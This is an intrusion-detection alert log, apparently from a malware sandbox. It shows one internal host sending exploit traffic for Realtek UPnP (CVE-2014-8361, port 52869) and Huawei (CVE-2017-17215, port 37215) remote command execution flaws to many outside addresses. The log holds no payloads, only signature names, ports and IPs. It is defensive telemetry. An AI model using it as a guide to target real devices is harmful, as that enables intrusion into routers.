07/20/24-23:01:25.763318	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46986	52869	192.168.2.23	158.118.231.218
07/20/24-23:01:47.858878	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54142	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:53.335084	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57196	52869	192.168.2.23	19.154.207.41
07/20/24-23:01:49.660516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48318	52869	192.168.2.23	135.160.162.200
07/20/24-23:01:42.650744	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56526	52869	192.168.2.23	171.216.201.201
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39608	37215	192.168.2.23	161.37.173.233
07/20/24-23:01:47.297941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58120	52869	192.168.2.23	41.3.4.242
07/20/24-23:01:41.909668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42420	52869	192.168.2.23	184.207.38.235
07/20/24-23:01:47.906061	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34986	52869	192.168.2.23	63.194.155.21
07/20/24-23:01:41.702437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36972	52869	192.168.2.23	176.90.235.184
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60054	37215	192.168.2.23	197.193.71.4
07/20/24-23:01:03.165362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60300	52869	192.168.2.23	57.92.179.211
07/20/24-23:01:51.172994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49444	52869	192.168.2.23	19.90.99.238
07/20/24-23:01:44.340422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56000	52869	192.168.2.23	102.51.73.237
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38946	37215	192.168.2.23	67.15.208.48
07/20/24-23:01:20.591862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58820	52869	192.168.2.23	8.133.200.251
07/20/24-23:01:51.107223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36048	52869	192.168.2.23	97.235.141.174
07/20/24-23:01:14.049603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35116	37215	192.168.2.23	107.86.91.27
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48344	37215	192.168.2.23	23.196.138.54
07/20/24-23:01:01.489542	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44408	52869	192.168.2.23	82.63.31.170
07/20/24-23:01:45.179680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53918	52869	192.168.2.23	118.151.178.3
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46780	37215	192.168.2.23	197.125.71.143
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39140	37215	192.168.2.23	157.119.197.238
07/20/24-23:01:49.207937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38140	52869	192.168.2.23	91.195.20.9
07/20/24-23:02:08.090583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33618	52869	192.168.2.23	90.243.218.95
07/20/24-23:00:57.221570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43176	37215	192.168.2.23	157.215.252.1
07/20/24-23:01:45.182071	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35410	52869	192.168.2.23	57.119.169.7
07/20/24-23:01:51.919746	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53294	52869	192.168.2.23	128.17.186.62
07/20/24-23:02:02.509837	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38436	52869	192.168.2.23	202.29.220.93
07/20/24-23:01:40.296076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58716	37215	192.168.2.23	157.129.21.167
07/20/24-23:01:41.323363	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49010	52869	192.168.2.23	191.235.3.135
07/20/24-23:01:49.525770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36520	52869	192.168.2.23	179.230.186.151
07/20/24-23:01:41.405709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60722	52869	192.168.2.23	156.69.102.152
07/20/24-23:01:53.963505	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47468	52869	192.168.2.23	161.136.114.82
07/20/24-23:02:01.320867	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38554	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:48.965786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41888	52869	192.168.2.23	176.234.87.122
07/20/24-23:01:58.083668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39426	52869	192.168.2.23	210.6.211.62
07/20/24-23:02:00.396073	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52322	52869	192.168.2.23	49.133.161.207
07/20/24-23:01:44.318262	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47538	52869	192.168.2.23	38.183.196.72
07/20/24-23:01:44.825081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58076	52869	192.168.2.23	94.208.23.95
07/20/24-23:01:43.030153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35806	52869	192.168.2.23	140.59.54.38
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55554	37215	192.168.2.23	197.224.157.32
07/20/24-23:01:08.693187	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60750	52869	192.168.2.23	70.148.71.209
07/20/24-23:01:47.443306	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51260	52869	192.168.2.23	41.3.232.51
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54504	37215	192.168.2.23	197.147.196.56
07/20/24-23:01:43.107634	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45970	52869	192.168.2.23	60.118.116.115
07/20/24-23:01:51.275864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42096	52869	192.168.2.23	200.222.88.102
07/20/24-23:00:57.221017	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59050	37215	192.168.2.23	203.201.15.112
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40992	37215	192.168.2.23	41.182.86.76
07/20/24-23:01:42.592141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53584	52869	192.168.2.23	105.155.204.151
07/20/24-23:01:58.995803	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34792	52869	192.168.2.23	37.223.190.191
07/20/24-23:01:08.691384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47380	52869	192.168.2.23	130.190.148.15
07/20/24-23:01:45.933453	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33282	52869	192.168.2.23	73.152.115.130
07/20/24-23:01:08.621030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49174	52869	192.168.2.23	113.241.155.67
07/20/24-23:01:00.641803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47368	37215	192.168.2.23	197.224.26.246
07/20/24-23:01:23.872117	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46058	52869	192.168.2.23	211.69.194.148
07/20/24-23:01:59.300183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34640	52869	192.168.2.23	66.14.7.167
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39754	37215	192.168.2.23	197.232.66.29
07/20/24-23:01:43.305781	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50004	52869	192.168.2.23	207.164.129.53
07/20/24-23:01:45.599519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49644	52869	192.168.2.23	76.8.56.105
07/20/24-23:01:46.261793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39266	52869	192.168.2.23	137.133.156.16
07/20/24-23:01:53.258882	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48378	52869	192.168.2.23	118.179.102.207
07/20/24-23:01:59.745622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55122	52869	192.168.2.23	154.17.239.28
07/20/24-23:01:04.631848	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59006	52869	192.168.2.23	147.69.83.159
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44106	37215	192.168.2.23	197.114.117.243
07/20/24-23:01:04.165954	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45156	52869	192.168.2.23	120.98.109.98
07/20/24-23:00:59.148144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45076	37215	192.168.2.23	41.126.20.80
07/20/24-23:01:49.040108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35238	52869	192.168.2.23	45.208.1.181
07/20/24-23:01:41.534135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46008	52869	192.168.2.23	141.211.193.35
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58124	37215	192.168.2.23	197.68.112.71
07/20/24-23:01:42.702732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44592	52869	192.168.2.23	128.83.244.58
07/20/24-23:01:31.316196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36560	52869	192.168.2.23	66.164.253.202
07/20/24-23:00:59.213564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58330	37215	192.168.2.23	41.128.110.44
07/20/24-23:01:41.605496	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44080	52869	192.168.2.23	49.37.83.56
07/20/24-23:01:42.297644	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33012	52869	192.168.2.23	104.116.61.223
07/20/24-23:01:46.629075	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36186	52869	192.168.2.23	169.80.181.136
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60714	37215	192.168.2.23	157.183.64.132
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60452	37215	192.168.2.23	25.19.64.41
07/20/24-23:01:50.147840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59216	52869	192.168.2.23	32.64.201.235
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33112	37215	192.168.2.23	13.178.123.242
07/20/24-23:01:42.477986	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45052	52869	192.168.2.23	82.187.47.45
07/20/24-23:01:44.813013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55664	52869	192.168.2.23	53.132.125.29
07/20/24-23:01:55.863393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52952	52869	192.168.2.23	166.125.46.208
07/20/24-23:01:44.470424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38526	52869	192.168.2.23	98.171.161.225
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55584	37215	192.168.2.23	197.60.240.126
07/20/24-23:01:41.380677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38148	52869	192.168.2.23	110.76.42.187
07/20/24-23:02:00.868779	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54574	52869	192.168.2.23	139.3.200.28
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48740	37215	192.168.2.23	179.166.208.19
07/20/24-23:01:47.042994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44160	52869	192.168.2.23	67.104.194.85
07/20/24-23:01:25.215598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49828	52869	192.168.2.23	32.85.156.168
07/20/24-23:01:42.809185	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52892	52869	192.168.2.23	101.9.169.24
07/20/24-23:01:21.938818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49236	37215	192.168.2.23	41.239.63.70
07/20/24-23:01:43.300793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47466	52869	192.168.2.23	136.80.115.81
07/20/24-23:01:54.898102	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49404	52869	192.168.2.23	104.83.225.175
07/20/24-23:01:48.288217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48756	52869	192.168.2.23	81.22.157.142
07/20/24-23:01:44.302645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36906	52869	192.168.2.23	181.21.97.146
07/20/24-23:01:53.746309	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40366	52869	192.168.2.23	105.145.121.113
07/20/24-23:01:13.710739	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44082	52869	192.168.2.23	36.168.150.31
07/20/24-23:01:57.313050	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39142	52869	192.168.2.23	91.195.20.9
07/20/24-23:01:53.971751	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39120	52869	192.168.2.23	133.40.152.48
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51176	37215	192.168.2.23	41.49.181.54
07/20/24-23:01:41.280928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43900	52869	192.168.2.23	223.203.126.251
07/20/24-23:01:43.810783	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46080	52869	192.168.2.23	180.71.140.26
07/20/24-23:01:44.038410	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45320	52869	192.168.2.23	78.42.251.42
07/20/24-23:01:51.197215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52982	52869	192.168.2.23	174.95.107.188
07/20/24-23:01:45.079349	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48408	52869	192.168.2.23	179.206.84.130
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56022	37215	192.168.2.23	41.78.28.79
07/20/24-23:01:45.034156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33716	52869	192.168.2.23	107.163.195.19
07/20/24-23:01:46.464448	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44136	52869	192.168.2.23	93.44.110.204
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45528	37215	192.168.2.23	157.50.174.241
07/20/24-23:01:55.944701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59102	52869	192.168.2.23	191.189.100.30
07/20/24-23:01:54.310738	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48768	52869	192.168.2.23	131.175.141.244
07/20/24-23:01:42.891313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51320	52869	192.168.2.23	163.173.48.45
07/20/24-23:01:42.287237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44008	52869	192.168.2.23	32.178.44.200
07/20/24-23:01:20.124696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40416	37215	192.168.2.23	41.50.141.98
07/20/24-23:01:41.299284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57818	52869	192.168.2.23	113.55.199.122
07/20/24-23:01:08.611391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38826	52869	192.168.2.23	161.20.12.87
07/20/24-23:01:48.089365	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56670	52869	192.168.2.23	13.253.184.187
07/20/24-23:01:10.738721	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50512	52869	192.168.2.23	50.114.115.150
07/20/24-23:01:01.387027	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56974	52869	192.168.2.23	153.15.211.214
07/20/24-23:01:48.970191	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49902	52869	192.168.2.23	48.202.169.141
07/20/24-23:01:34.043880	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49064	37215	192.168.2.23	41.5.220.159
07/20/24-23:01:45.485100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39258	52869	192.168.2.23	203.196.31.139
07/20/24-23:01:41.372363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60180	52869	192.168.2.23	132.173.89.17
07/20/24-23:01:41.372363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38322	52869	192.168.2.23	36.18.145.215
07/20/24-23:01:43.455918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36932	52869	192.168.2.23	40.122.120.5
07/20/24-23:01:48.701127	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53308	52869	192.168.2.23	170.121.46.240
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51714	37215	192.168.2.23	157.243.220.45
07/20/24-23:01:02.479085	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33450	52869	192.168.2.23	104.55.221.40
07/20/24-23:01:03.422401	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53670	52869	192.168.2.23	132.102.141.171
07/20/24-23:01:42.111275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52826	52869	192.168.2.23	94.159.177.21
07/20/24-23:01:42.196522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53258	52869	192.168.2.23	140.117.188.131
07/20/24-23:01:42.924014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49876	52869	192.168.2.23	59.110.210.1
07/20/24-23:01:44.991829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34298	52869	192.168.2.23	67.229.67.72
07/20/24-23:01:45.109699	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40610	52869	192.168.2.23	65.170.62.168
07/20/24-23:01:44.452219	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48536	52869	192.168.2.23	36.88.70.103
07/20/24-23:01:42.685722	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38056	52869	192.168.2.23	64.123.182.34
07/20/24-23:01:45.188773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40180	52869	192.168.2.23	8.242.14.128
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60742	37215	192.168.2.23	197.252.66.96
07/20/24-23:01:13.583885	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58320	52869	192.168.2.23	8.133.200.251
07/20/24-23:01:47.902509	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49078	52869	192.168.2.23	162.84.55.247
07/20/24-23:01:50.313415	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38028	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:50.093097	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40554	52869	192.168.2.23	38.110.137.130
07/20/24-23:01:44.277250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45600	52869	192.168.2.23	99.220.126.213
07/20/24-23:02:20.374641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38620	52869	192.168.2.23	138.173.140.141
07/20/24-23:01:34.044537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50196	37215	192.168.2.23	220.35.159.72
07/20/24-23:01:42.187124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49100	52869	192.168.2.23	1.84.241.246
07/20/24-23:01:51.016561	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46870	52869	192.168.2.23	70.60.237.131
07/20/24-23:01:31.986571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56050	37215	192.168.2.23	209.95.190.72
07/20/24-23:01:47.403768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58964	52869	192.168.2.23	13.193.24.191
07/20/24-23:01:21.928521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42742	37215	192.168.2.23	75.171.235.169
07/20/24-23:01:46.004063	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40942	52869	192.168.2.23	59.99.39.216
07/20/24-23:01:46.485082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56676	52869	192.168.2.23	120.189.67.125
07/20/24-23:01:11.662969	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48664	37215	192.168.2.23	197.193.26.103
07/20/24-23:01:11.635828	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60566	37215	192.168.2.23	41.44.82.133
07/20/24-23:01:42.276860	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34986	52869	192.168.2.23	70.124.249.51
07/20/24-23:01:24.889163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54718	37215	192.168.2.23	157.178.234.164
07/20/24-23:01:05.007557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54884	52869	192.168.2.23	105.183.167.212
07/20/24-23:01:34.046616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60776	37215	192.168.2.23	102.164.167.66
07/20/24-23:01:41.533244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57514	52869	192.168.2.23	218.79.146.2
07/20/24-23:01:53.281781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39014	52869	192.168.2.23	162.69.127.248
07/20/24-23:01:40.307219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47256	37215	192.168.2.23	197.19.231.74
07/20/24-23:01:42.290838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43356	52869	192.168.2.23	123.147.61.106
07/20/24-23:01:56.768240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43520	52869	192.168.2.23	210.84.36.218
07/20/24-23:01:43.071126	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42976	52869	192.168.2.23	213.170.177.158
07/20/24-23:01:45.452336	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39466	52869	192.168.2.23	63.211.43.107
07/20/24-23:01:08.693187	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41122	52869	192.168.2.23	159.70.111.204
07/20/24-23:01:42.430595	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46182	52869	192.168.2.23	163.49.61.251
